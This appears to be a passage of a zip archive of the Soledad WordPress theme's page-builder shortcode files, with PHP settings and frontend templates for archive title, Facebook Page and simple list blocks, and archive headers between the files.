	<?php
}
$css_custom = '';
$block_id = '#'.$block_id;
if ( $settings['term_spacing'] ) {
	$css_custom .= $block_id . ' .pctmp-term-list.pctaxleft li:not(:last-child){margin-right:' . $settings['term_spacing'] . 'px}';
	$css_custom .= $block_id . ' .pctmp-term-list.pctaxright li:not(:first-child){margin-left:' . $settings['term_spacing'] . 'px}';
	$css_custom .= $block_id . ' .pctmp-term-list.pctaxcenter li(:first-child){margin-left:calc(' . $settings['term_spacing'] . 'px/2);margin-right:calc(' . $settings['term_spacing'] . 'px/2)}';
	$css_custom .= $block_id . ' .pctmp-term-list li .pctmp-term-item{margin-right:0;margin-left:0;--pctmp-term-list:' . $settings['term_spacing'] . 'px}';
}
if ( $settings['term_vspacing'] ) {
	$css_custom .= $block_id . ' .pctmp-term-list li .pctmp-term-item{margin-bottom:' . $settings['term_vspacing'] . '}';
}
if ( $settings['term_color'] ) {
	$css_custom .= $block_id . ' .pctmp-term-item{color:' . $settings['text_lcolor'] . '}';
}
if ( $settings['term_hcolor'] ) {
	$css_custom .= $block_id . ' a.pctmp-term-item:hover,' . $block_id . ' a.pctmp-term-item.current-item{color:' . $settings['term_hcolor'] . '}';
}
if ( $settings['term_bgcolor'] ) {
	$css_custom .= $block_id . ' .pctmp-term-item{background-color:' . $settings['term_bgcolor'] . '}';
}
if ( $settings['term_bghcolor'] ) {
	$css_custom .= $block_id . ' a.pctmp-term-item:hover,' . $block_id . ' a.pctmp-term-item.current-item{background-color:' . $settings['term_bghcolor'] . '}';
}
if ( $settings['term_bdcolor'] ) {
	$css_custom .= $block_id . ' .pctmp-term-item{border-color:' . $settings['term_bdcolor'] . '}';
}
if ( $settings['term_bdhcolor'] ) {
	$css_custom .= $block_id . ' a.pctmp-term-item:hover,' . $block_id . ' a.pctmp-term-item.current-item{border-color:' . $settings['term_bdhcolor'] . '}';
}
if ( $settings['term_border_style'] ) {
	$css_custom .= $block_id . ' .pctmp-term-item{border-style:' . $settings['term_border_style'] . '}';
}
if ( $settings['term_border_radius'] ) {
	$css_custom .= $block_id . ' .pctmp-term-item{border-radius:' . $settings['term_border_radius'] . 'px}';
}
if ( $settings['responsive_spacing'] ) {
	$css_custom .= penci_extract_spacing_style( $block_id, $settings['responsive_spacing'] );
}
if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     N\Ph  h  8  inc/js_composer/shortcodes/pc_archive_title/settings.phpnu [        <?php
$group_icon  = 'Icon';
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => "pc_archive_title",
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Archive Builder' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/pc_archive_title/frontend.php',
	'weight'        => 910,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Archive Builder - Title', 'soledad' ),
	'description'   => 'Archive Builder - Title',
	'controls'      => 'full',
	'params'        => array_merge( array(
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Heading Markup', 'soledad' ),
			'param_name'       => 'heading_markup',
			'value'            => array(
				'H1' => 'h1',
				'H2' => 'h2',
				'H3' => 'h3',
				'H4' => 'h4',
				'H5' => 'h5',
				'H6' => 'h6',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Heading Align', 'soledad' ),
			'param_name'       => 'heading_align',
			'value'            => array(
				'Left'   => 'left',
				'Right'  => 'right',
				'Center' => 'center',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Remove Heading Line', 'soledad' ),
			'param_name'       => 'heading_line',
			'edit_field_class' => 'vc_col-sm-6'
		),
	), array(
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Prefix Text Color', 'soledad' ),
			'param_name'       => 'text_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Main Text Color', 'soledad' ),
			'param_name'       => 'main_text_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Heading Line Color', 'soledad' ),
			'param_name'       => 'heading-line-color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Heading Line Spacing with Title', 'soledad' ),
			'param_name'       => 'heading-line-spacing',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Heading Line Width', 'soledad' ),
			'param_name'       => 'heading-line-w',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Heading Line Height', 'soledad' ),
			'param_name'       => 'heading-line-h',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'       => 'penci_switch',
			'heading'    => __( 'Custom Font Family', 'soledad' ),
			'param_name' => 'use_custom_typo',
			'value'      => 'no',
			'group'      => $group_color,
		),
		array(
			'type'       => 'google_fonts',
			'group'      => $group_color,
			'param_name' => 'main_text_font',
			'value'      => '',
			'dependency' => array( 'element' => 'use_custom_typo', 'value' => 'yes' ),
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'main_text_size',
			'heading'    => __( 'Font Size', 'soledad' ),
			'suffix'     => 'px',
			'min'        => 1,
			'group'      => $group_color,
		),
	), Penci_Vc_Params_Helper::extra_params() )
) );
PK     N\ɜ    8  inc/js_composer/shortcodes/pc_archive_title/frontend.phpnu [        <?php
$settings    = vc_map_get_attributes( $this->getShortcode(), $atts );
$heading_tag = $settings['heading_markup'];
$align       = $settings['heading_align'];
$block_id    = Penci_Vc_Helper::get_unique_id_block( 'pc_archive_taxonomy' );
$css_class   = vc_shortcode_custom_css_class( $settings['css'] );
?>
    <div id="<?php echo $block_id; ?>" class="archive-box pcab-abox <?php echo $css_class; ?>">
        <div class="title-bar align-<?php echo $align; ?>">
			<?php
			if ( is_day() ) :
				if ( penci_get_setting( 'penci_trans_daily_archives' ) ):
					echo '<span>';
					echo penci_get_setting( 'penci_trans_daily_archives' );
					echo ' </span>';
				endif;
				printf( wp_kses( __( '<' . $heading_tag . ' class="page-title">%s</' . $heading_tag . '>', 'soledad' ), penci_allow_html() ), get_the_date() );
            elseif ( is_month() ) :
				if ( penci_get_setting( 'penci_trans_monthly_archives' ) ):
					echo '<span>';
					echo penci_get_setting( 'penci_trans_monthly_archives' );
					echo ' </span>';
				endif;
				printf( wp_kses( __( '<' . $heading_tag . ' class="page-title">%s</' . $heading_tag . '>', 'soledad' ), penci_allow_html() ), get_the_date( _x( 'F Y', 'monthly archives date format', 'soledad' ) ) );
            elseif ( is_year() ) :
				if ( penci_get_setting( 'penci_trans_yearly_archives' ) ):
					echo '<span>';
					echo penci_get_setting( 'penci_trans_yearly_archives' );
					echo ' </span>';
				endif;
				printf( wp_kses( __( '<' . $heading_tag . ' class="page-title">%s</' . $heading_tag . '>', 'soledad' ), penci_allow_html() ), get_the_date( _x( 'Y', 'yearly archives date format', 'soledad' ) ) );
            elseif ( is_author() ) :
				echo '<span>';
				echo penci_get_setting( 'penci_trans_author' );
				echo ' </span>';
				printf( wp_kses( __( '<' . $heading_tag . ' class="page-title">%s</' . $heading_tag . '>', 'soledad' ), penci_allow_html() ), get_userdata( get_query_var( 'author' ) )->display_name );
            elseif ( is_category() ):
				if ( ! get_theme_mod( 'penci_remove_cat_words' ) ): ?>
                    <span><?php echo penci_get_setting( 'penci_trans_category' ); ?></span>
				<?php endif;
				printf( wp_kses( __( '<' . $heading_tag . ' class="page-title">%s</' . $heading_tag . '>', 'soledad' ), penci_allow_html() ), single_cat_title( '', false ) );
            elseif ( is_tag() ):
				if ( ! get_theme_mod( 'penci_remove_tag_words' ) ): ?>
                    <span><?php echo penci_get_setting( 'penci_trans_tag' ); ?></span>
				<?php endif;
				printf( wp_kses( __( '<' . $heading_tag . ' class="page-title">%s</' . $heading_tag . '>', 'soledad' ), penci_allow_html() ), single_tag_title( '', false ) );
            elseif ( is_search() ):
				echo '<span>' . penci_get_setting( 'penci_trans_search_results_for' ) . '</span> ';
				printf( wp_kses( __( '<' . $heading_tag . ' class="page-title">"%s"</' . $heading_tag . '>', 'soledad' ), penci_allow_html() ), get_search_query() );
            elseif ( is_tax() ) :
				the_archive_title( '<' . $heading_tag . ' class="page-title">', '</' . $heading_tag . '>' );
			else :
				echo '<' . $heading_tag . ' class="page-title">';
				echo penci_get_setting( 'penci_trans_archives' );
				echo '</' . $heading_tag . '>';
			endif;
			?>
        </div>
    </div>
<?php
$css_custom = '';
$block_id   = '#' . $block_id;
if ( $settings['heading_line'] ) {
	$css_custom .= $block_id . ' .pcab-abox .title-bar:after{display:none}';
	$css_custom .= $block_id . ' .pcab-abox .title-bar{padding:0;margin:0;}';
}

if ( $settings['main_text_color'] ) {
	$css_custom .= $block_id . ' .archive-box .page-title,'. $block_id . ' .archive-box span{color:' . $settings['text_color'] . '!important;}';
}
if ( $settings['text_color'] ) {
	$css_custom .= $block_id . ' .archive-box span{color:' . $settings['text_color'] . '!important;}';
}
if ( $settings['heading-line-color'] ) {
	$css_custom .= $block_id . ' .pcab-abox .title-bar:after{background-color:' . $settings['heading-line-color'] . ';}';
}
if ( $settings['heading-line-spacing'] ) {
	$css_custom .= $block_id . ' .pcab-abox .title-bar{padding-bottom:' . $settings['heading-line-spacing'] . 'px;}';
}
if ( $settings['heading-line-w'] ) {
	$css_custom .= $block_id . ' .pcab-abox .title-bar:after{width:' . $settings['heading-line-w'] . 'px!important;}';
	$css_custom .= $block_id . ' .pcab-abox .title-bar.align-center:after{margin-left:calc(' . $settings['heading-line-w'] . 'px / 2 * -1)}';
}
if ( $settings['heading-line-h'] ) {
	$css_custom .= $block_id . ' .pcab-abox .title-bar:after{height:' . $settings['heading-line-h'] . 'px!important;}';
}
if ( $settings['responsive_spacing'] ) {
	$css_custom .= penci_extract_spacing_style( $block_id, $settings['responsive_spacing'] );
}
$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $settings['main_text_size'],
	'font_style' => $settings['main_text_font'],
	'template'   => $block_id . '  .archive-box .page-title{ %s }',
) );
if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     N\`  `  5  inc/js_composer/shortcodes/facebook_page/settings.phpnu [        <?php
vc_map( array(
	'base'          => 'penci_facebook_page',
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name('Soledad'),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/facebook_page/frontend.php',
	'weight'        => 700,
	'name'          => penci_get_theme_name('Penci').' '.esc_html__( 'Facebook Page', 'soledad' ),
	'description'   => __( 'Facebook Page Block', 'soledad' ),
	'controls'      => 'full',
	'params'        => array_merge(
		array(
			array(
				'type'       => 'textfield',
				'heading'    => esc_html__( 'Facebook Page Title:', 'soledad' ),
				'param_name' => 'title_page',
				'std'        => esc_html__( 'Facebook', 'soledad' ),
			),
			array(
				'type'        => 'textfield',
				'heading'     => esc_html__( 'Facebook Page URL:', 'soledad' ),
				'param_name'  => 'page_url',
				'admin_label' => true,
				'std'         => 'https://www.facebook.com/PenciDesign',
				'value'       => 'https://www.facebook.com/PenciDesign',
				'description' => esc_html__( 'EG. https://www.facebook.com/your-page/', 'soledad' ),
			),
			array(
				'type'        => 'textfield',
				'heading'     => esc_html__( 'Facebook Page Height::', 'soledad' ),
				'param_name'  => 'page_height',
				'std'         => 290,
				'description' => esc_html__( 'This option is only applied when "Show Stream" option is checked', 'soledad' ),
			),
			array(
				'type'       => 'penci_switch',
				'heading'    => esc_html__( 'Hide Cover Image?', 'soledad' ),
				'true_state'       => 'yes',
				'false_state'      => 'no',
				'default'          => 'no',
				'std'              => 'no',
				'param_name' => 'hide_cover',
			),
			array(
				'type'       => 'penci_switch',
				'heading'    => esc_html__( 'Hide Faces?', 'soledad' ),
				'true_state'       => 'yes',
				'false_state'      => 'no',
				'default'          => 'no',
				'std'              => 'no',
				'param_name' => 'hide_faces',
			),
			array(
				'type'       => 'penci_switch',
				'heading'    => esc_html__( 'Hide Stream?', 'soledad' ),
				'true_state'       => 'yes',
				'false_state'      => 'no',
				'default'          => 'no',
				'std'              => 'no',
				'param_name' => 'hide_stream',
			),
			array(
				'type'        => 'textfield',
				'heading'     => esc_html__( 'Custom Language', 'soledad' ),
				'param_name'  => 'language',
				'admin_label' => true,
				'std'         => '',
				'value'       => '',
				'description' => __( 'Fill the language code to use on Facebook Page Box here( E.g: de_DE ). By default, the language will follow the site language. See more <a href="https://developers.facebook.com/docs/internationalization/" target="_blank">here</a>', 'soledad' ),
			)
		),
		Penci_Vc_Params_Helper::heading_block_params(),
		Penci_Vc_Params_Helper::params_heading_typo_color(),
		Penci_Vc_Params_Helper::extra_params()
	)
) );
PK     N\Пp    5  inc/js_composer/shortcodes/facebook_page/frontend.phpnu [        <?php
$output = $penci_block_width = $el_class = $css_animation = $css = '';

$title_page          = $page_url = $page_height = $hide_faces = $hide_stream = $hide_cover = $language = $responsive_spacing = '';
$heading_title_style = $heading = $heading_title_link = $heading_title_align = '';

$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );
if ( ! $language ) {
	$language = get_locale();
}
$class_to_filter = vc_shortcode_custom_css_class( $css, ' ' ) . $this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation );

$css_class = 'penci-block-vc penci_facebook_widget';
$css_class .= ' ' . apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, $class_to_filter, $this->settings['base'], $atts );
$block_id  = Penci_Vc_Helper::get_unique_id_block( 'counter_up' );
?>
    <div id="<?php echo esc_attr( $block_id ); ?>" class="<?php echo esc_attr( $css_class ); ?>">
		<?php Penci_Vc_Helper::markup_block_title( $atts ); ?>
        <div class="penci-block_content">
            <div id="fb-root"></div>
            <script data-cfasync="false">(function (d, s, id) {
                    var js, fjs = d.getElementsByTagName(s)[0];
                    if (d.getElementById(id)) return;
                    js = d.createElement(s);
                    js.id = id;
                    js.src = "//connect.facebook.net/<?php echo esc_attr( $language )?>/sdk.js#xfbml=1&version=v9.0";
                    fjs.parentNode.insertBefore(js, fjs);
                }(document, 'script', 'facebook-jssdk'));</script>
            <div class="fb-page"
                 data-href="<?php echo esc_url( $page_url ); ?>"<?php if ( (! 'yes' == $hide_stream || ! 'true' == $hide_stream) && is_numeric( $page_height ) && $page_height > 69 ): ?> data-height="<?php echo absint( $page_height ); ?>"<?php endif; ?>
                 data-small-header="false" data-hide-cover="<?php if ( 'yes' == $hide_cover || 'true' == $hide_cover ) {
				echo 'true';
			} else {
				echo 'false';
			} ?>" data-show-facepile="<?php if ( ! 'yes' == $hide_faces || ! 'true' == $hide_faces ) {
				echo 'true';
			} else {
				echo 'false';
			} ?>" data-show-posts="<?php if ( 'yes' == $hide_stream || 'true' == $hide_stream ) {
				echo 'false';
			} else {
				echo 'true';
			} ?>" data-adapt-container-width="true">
                <div class="fb-xfbml-parse-ignore"><a
                            href="<?php echo esc_attr( $page_url ); ?>"><?php if ( $heading ) {
							echo sanitize_text_field( $heading );
						} else {
							echo 'Facebook';
						} ?></a></div>
            </div>
        </div>
    </div>
<?php

$id_facebook_page = '#' . $block_id;
$css_custom       = Penci_Vc_Helper::get_heading_block_css( $id_facebook_page, $atts );

if ( $responsive_spacing ) {
	$css_custom .= penci_extract_spacing_style( $id_facebook_page, $responsive_spacing );
}


if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     N\K8'3  '3  3  inc/js_composer/shortcodes/simple_list/settings.phpnu [        <?php

vc_map( array(
		'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Simple List', 'soledad' ),
		'base'          => 'penci_simple_list',
		'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/simple_list/frontend.php',
		'category'      => penci_get_theme_name( 'Soledad' ),
		'description'   => esc_html__( 'Display a list with icon', 'soledad' ),
		'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
		'weight'        => 700,
		'params'        => array(
			// General
			array(
				'type'             => 'textfield',
				'param_name'       => 'general_divider',
				'heading'          => esc_html__( 'General settings', 'soledad' ),
				'value'            => '',
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),
			array(
				'type'             => 'dropdown',
				'heading'          => esc_html__( 'List items font size', 'soledad' ),
				'param_name'       => 'size',
				'value'            => array(
					esc_html__( 'Default (14px)', 'soledad' )     => 'default',
					esc_html__( 'Medium (16px)', 'soledad' )      => 'medium',
					esc_html__( 'Large (18px)', 'soledad' )       => 'large',
					esc_html__( 'Extra Large (22px)', 'soledad' ) => 'extra-large',
				),
				'edit_field_class' => 'vc_col-sm-6 vc_column',
			),
			array(
				'type'             => 'dropdown',
				'heading'          => esc_html__( 'Color scheme', 'soledad' ),
				'param_name'       => 'color_scheme',
				'value'            => array(
					esc_html__( 'Inherit', 'soledad' ) => '',
					esc_html__( 'Light', 'soledad' )   => 'light',
					esc_html__( 'Dark', 'soledad' )    => 'dark',
					esc_html__( 'Custom', 'soledad' )  => 'custom',
				),
				'edit_field_class' => 'vc_col-sm-6 vc_column',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Text color', 'soledad' ),
				'param_name'       => 'text_color',
				'dependency'       => array(
					'element' => 'color_scheme',
					'value'   => array( 'custom' ),
				),
				'edit_field_class' => 'vc_col-sm-6 vc_column',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Text color hover', 'soledad' ),
				'param_name'       => 'text_color_hover',
				'dependency'       => array(
					'element' => 'color_scheme',
					'value'   => array( 'custom' ),
				),
				'edit_field_class' => 'vc_col-sm-6 vc_column',
			),
			array(
				'type'             => 'dropdown',
				'heading'          => esc_html__( 'Align', 'soledad' ),
				'param_name'       => 'align',
				'value'            => array(
					esc_html__( 'Left', 'soledad' )   => 'left',
					esc_html__( 'Center', 'soledad' ) => 'center',
					esc_html__( 'Right', 'soledad' )  => 'right',
				),
				'std'              => 'left',
				'edit_field_class' => 'vc_col-sm-6 vc_column title-align',
			),
			array(
				'type'             => 'textfield',
				'param_name'       => 'extra_divider',
				'heading'          => esc_html__( 'Extra settings', 'soledad' ),
				'value'            => '',
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),
			( function_exists( 'vc_map_add_css_animation' ) ) ? vc_map_add_css_animation( true ) : '',
			array(
				'type'        => 'textfield',
				'heading'     => esc_html__( 'Extra class name', 'soledad' ),
				'param_name'  => 'el_class',
				'description' => esc_html__( 'If you wish to style particular content element differently, then use this field to add a class name and then refer to it in your css file.', 'soledad' ),
			),
			// List
			array(
				'type'       => 'param_group',
				'param_name' => 'list',
				'group'      => esc_html__( 'List', 'soledad' ),
				'params'     => array(
					array(
						'type'       => 'vc_link',
						'heading'    => esc_html__( 'Link', 'soledad' ),
						'param_name' => 'link',
					),
					array(
						'type'       => 'textarea',
						'heading'    => esc_html__( 'Content', 'soledad' ),
						'param_name' => 'list-content',
					),
				),
			),
			// Icon
			array(
				'type'             => 'textfield',
				'param_name'       => 'extra_divider',
				'heading'          => esc_html__( 'Icon settings', 'soledad' ),
				'value'            => '',
				'group'            => esc_html__( 'Icon', 'soledad' ),
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),
			array(
				'type'             => 'dropdown',
				'group'            => esc_html__( 'Icon', 'soledad' ),
				'heading'          => esc_html__( 'List type', 'soledad' ),
				'value'            => array(
					esc_html__( 'With icon', 'soledad' )    => 'icon',
					esc_html__( 'With image', 'soledad' )   => 'image',
					esc_html__( 'Ordered', 'soledad' )      => 'ordered',
					esc_html__( 'Unordered', 'soledad' )    => 'unordered',
					esc_html__( 'Without icon', 'soledad' ) => 'without',
				),
				'param_name'       => 'list_type',
				'edit_field_class' => 'vc_col-sm-6 vc_column',
			),
			array(
				'type'             => 'dropdown',
				'group'            => esc_html__( 'Icon', 'soledad' ),
				'heading'          => esc_html__( 'List style', 'soledad' ),
				'value'            => array(
					esc_html__( 'Default', 'soledad' ) => 'default',
					esc_html__( 'Rounded', 'soledad' ) => 'rounded',
					esc_html__( 'Square', 'soledad' )  => 'square',
				),
				'param_name'       => 'list_style',
				'dependency'       => array(
					'element' => 'list_type',
					'value'   => array( 'icon', 'ordered', 'unordered' ),
				),
				'edit_field_class' => 'vc_col-sm-6 vc_column',
			),
			array(
				'type'             => 'attach_image',
				'heading'          => esc_html__( 'Image', 'soledad' ),
				'group'            => esc_html__( 'Icon', 'soledad' ),
				'param_name'       => 'image',
				'value'            => '',
				'description'      => esc_html__( 'Select image from media library.', 'soledad' ),
				'dependency'       => array(
					'element' => 'list_type',
					'value'   => array( 'image' ),
				),
				'edit_field_class' => 'vc_col-sm-6 vc_column',
			),
			array(
				'type'             => 'textfield',
				'heading'          => esc_html__( 'Image size', 'soledad' ),
				'group'            => esc_html__( 'Icon', 'soledad' ),
				'param_name'       => 'img_size',
				'description'      => esc_html__( 'Enter image size. Example: \'thumbnail\', \'medium\', \'large\', \'full\' or other sizes defined by current theme. Alternatively enter image size in pixels: 200x100 (Width x Height). Leave empty to use \'thumbnail\' size.', 'soledad' ),
				'dependency'       => array(
					'element' => 'list_type',
					'value'   => array( 'image' ),
				),
				'edit_field_class' => 'vc_col-sm-6 vc_column',
				'description'      => esc_html__( 'Example: \'thumbnail\', \'medium\', \'large\', \'full\' or enter image size in pixels: \'200x100\'.', 'soledad' ),
			),
			array(
				'type'        => 'dropdown',
				'group'       => esc_html__( 'Icon', 'soledad' ),
				'heading'     => esc_html__( 'Icon library', 'soledad' ),
				'value'       => array(
					esc_html__( 'Font Awesome', 'soledad' ) => 'fontawesome',
					esc_html__( 'Open Iconic', 'soledad' )  => 'openiconic',
					esc_html__( 'Typicons', 'soledad' )     => 'typicons',
					esc_html__( 'Entypo', 'soledad' )       => 'entypo',
					esc_html__( 'Linecons', 'soledad' )     => 'linecons',
					esc_html__( 'Mono Social', 'soledad' )  => 'monosocial',
					esc_html__( 'Material', 'soledad' )     => 'material',
				),
				'param_name'  => 'icon_library',
				'description' => esc_html__( 'Select icon library.', 'soledad' ),
				'dependency'  => array(
					'element' => 'list_type',
					'value'   => 'icon',
				),
			),
			array(
				'type'        => 'iconpicker',
				'group'       => esc_html__( 'Icon', 'soledad' ),
				'heading'     => esc_html__( 'Icon', 'soledad' ),
				'param_name'  => 'icon_fontawesome',
				'value'       => 'fa fa-adjust',
				'settings'    => array(
					'emptyIcon'    => false,
					'iconsPerPage' => 4000,
				),
				'dependency'  => array(
					'element' => 'icon_library',
					'value'   => 'fontawesome',
				),
				'description' => esc_html__( 'Select icon from library.', 'soledad' ),
			),
			array(
				'type'        => 'iconpicker',
				'group'       => esc_html__( 'Icon', 'soledad' ),
				'heading'     => esc_html__( 'Icon', 'soledad' ),
				'param_name'  => 'icon_openiconic',
				'settings'    => array(
					'emptyIcon'    => false,
					'type'         => 'openiconic',
					'iconsPerPage' => 4000,
				),
				'dependency'  => array(
					'element' => 'icon_library',
					'value'   => 'openiconic',
				),
				'description' => esc_html__( 'Select icon from library.', 'soledad' ),
			),
			array(
				'type'        => 'iconpicker',
				'group'       => esc_html__( 'Icon', 'soledad' ),
				'heading'     => esc_html__( 'Icon', 'soledad' ),
				'param_name'  => 'icon_typicons',
				'settings'    => array(
					'emptyIcon'    => false,
					'type'         => 'typicons',
					'iconsPerPage' => 4000,
				),
				'dependency'  => array(
					'element' => 'icon_library',
					'value'   => 'typicons',
				),
				'description' => esc_html__( 'Select icon from library.', 'soledad' ),
			),
			array(
				'type'       => 'iconpicker',
				'group'      => esc_html__( 'Icon', 'soledad' ),
				'heading'    => esc_html__( 'Icon', 'soledad' ),
				'param_name' => 'icon_entypo',
				'settings'   => array(
					'emptyIcon'    => false,
					'type'         => 'entypo',
					'iconsPerPage' => 4000,
				),
				'dependency' => array(
					'element' => 'icon_library',
					'value'   => 'entypo',
				),
			),
			array(
				'type'        => 'iconpicker',
				'group'       => esc_html__( 'Icon', 'soledad' ),
				'heading'     => esc_html__( 'Icon', 'soledad' ),
				'param_name'  => 'icon_linecons',
				'settings'    => array(
					'emptyIcon'    => false,
					'type'         => 'linecons',
					'iconsPerPage' => 4000,
				),
				'dependency'  => array(
					'element' => 'icon_library',
					'value'   => 'linecons',
				),
				'description' => esc_html__( 'Select icon from library.', 'soledad' ),
			),
			array(
				'type'        => 'iconpicker',
				'group'       => esc_html__( 'Icon', 'soledad' ),
				'heading'     => esc_html__( 'Icon', 'soledad' ),
				'param_name'  => 'icon_monosocial',
				'settings'    => array(
					'emptyIcon'    => false,
					'type'         => 'monosocial',
					'iconsPerPage' => 4000,
				),
				'dependency'  => array(
					'element' => 'icon_library',
					'value'   => 'monosocial',
				),
				'description' => esc_html__( 'Select icon from library.', 'soledad' ),
			),
			array(
				'type'        => 'iconpicker',
				'group'       => esc_html__( 'Icon', 'soledad' ),
				'heading'     => esc_html__( 'Icon', 'soledad' ),
				'param_name'  => 'icon_material',
				'settings'    => array(
					'emptyIcon'    => false,
					'type'         => 'material',
					'iconsPerPage' => 4000,
				),
				'dependency'  => array(
					'element' => 'icon_library',
					'value'   => 'material',
				),
				'description' => esc_html__( 'Select icon from library.', 'soledad' ),
			),
			array(
				'type'             => 'colorpicker',
				'group'            => esc_html__( 'Icon', 'soledad' ),
				'heading'          => esc_html__( 'Icons color', 'soledad' ),
				'param_name'       => 'icons_color',
				'dependency'       => array(
					'element' => 'list_type',
					'value'   => array( 'icon', 'ordered', 'unordered' ),
				),
				'edit_field_class' => 'vc_col-sm-6 vc_column',
			),
			array(
				'type'             => 'colorpicker',
				'group'            => esc_html__( 'Icon', 'soledad' ),
				'heading'          => esc_html__( 'Icons color hover', 'soledad' ),
				'param_name'       => 'icons_color_hover',
				'dependency'       => array(
					'element' => 'list_type',
					'value'   => array( 'icon', 'ordered', 'unordered' ),
				),
				'edit_field_class' => 'vc_col-sm-6 vc_column',
			),
			array(
				'type'             => 'colorpicker',
				'group'            => esc_html__( 'Icon', 'soledad' ),
				'heading'          => esc_html__( 'Icons background color', 'soledad' ),
				'param_name'       => 'icons_bg_color',
				'dependency'       => array(
					'element' => 'list_style',
					'value'   => array( 'rounded', 'square' ),
				),
				'edit_field_class' => 'vc_col-sm-6 vc_column',
			),
			array(
				'type'             => 'colorpicker',
				'group'            => esc_html__( 'Icon', 'soledad' ),
				'heading'          => esc_html__( 'Icons background color hover', 'soledad' ),
				'param_name'       => 'icons_bg_color_hover',
				'dependency'       => array(
					'element' => 'list_style',
					'value'   => array( 'rounded', 'square' ),
				),
				'edit_field_class' => 'vc_col-sm-6 vc_column',
			),
			// Style
			array(
				'type'       => 'css_editor',
				'heading'    => esc_html__( 'CSS box', 'soledad' ),
				'param_name' => 'css',
				'group'      => esc_html__( 'Design Options', 'soledad' ),
			),
			penci_get_vc_responsive_spacing_map(),
		),
	) );
PK     N\|    3  inc/js_composer/shortcodes/simple_list/frontend.phpnu [        <?php
$icon_fontawesome = $icon_openiconic = $icon_typicons = $icon_entypo = $icon_linecons = $icon_monosocial = $icon_material = $icon_library = $icons_color = $icons_bg_color = $image = $img_size = $color_scheme = $size = $align = $list = $list_type = $list_style = $el_class = $css_animation = $css = '';
$atts             = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

if ( function_exists( 'vc_icon_element_fonts_enqueue' ) ) {
	vc_icon_element_fonts_enqueue( $icon_library );
}

$list_items = $img = '';

if ( function_exists( 'vc_param_group_parse_atts' ) ) {
	$list_items = vc_param_group_parse_atts( $list );
}

if ( empty( $list_items ) ) {
	return;
}

$list_id = 'penci-list-' . uniqid();

$icon_class = 'list-icon';
if ( $list_type == 'icon' ) {
	$icon_class .= ' ' . ${'icon_' . $icon_library};
}

$list_class = 'penci-list penci-wpb';
$list_class .= ' color-scheme-' . $color_scheme;
$list_class .= ' size-' . $size;
$list_class .= ' penci-list-type-' . $list_type;
$list_class .= ' penci-list-style-' . $list_style;
$list_class .= ' penci-justify-' . $align;
$list_class .= ( $el_class ) ? ' ' . $el_class : '';

if ( $list_style == 'rounded' || $list_style == 'square' ) {
	$list_class .= ' penci-list-shape-icon';
}
if ( function_exists( 'vc_shortcode_custom_css_class' ) ) {
	$list_class .= ' ' . vc_shortcode_custom_css_class( $css ) . $this->getCSSAnimation( $css_animation );
}

ob_start();

?>

    <ul class="<?php echo esc_attr( $list_class ); ?>" id="<?php echo esc_attr( $list_id ); ?>">
		<?php foreach ( $list_items as $item ) : ?>
			<?php
			if ( ! $item ) {
				continue;
			}

			if ( isset( $item['link'] ) ) {
				$link_attrs = penci_get_link_attributes( vc_build_link( $item['link'] ) );
			}

			?>
            <li>
	            <?php if ( isset( $item['link'] ) ) : ?>
                    <a class="penci-fill" <?php echo $link_attrs; ?>>
	            <?php endif; ?>
				<?php if ( $list_type != 'without' && $list_type != 'image' ) : ?>
                    <span class="<?php echo esc_attr( $icon_class ); ?>"></span>
				<?php elseif ( $list_type == 'image' ) : ?>
                    <span class="<?php echo esc_attr( $icon_class ); ?>">
							<?php if ( function_exists( 'wpb_getImageBySize' ) ) : ?>
								<?php
								echo wpb_getImageBySize(
									array(
										'attach_id'  => $image,
										'thumb_size' => $img_size,
										'class'      => 'list-image',
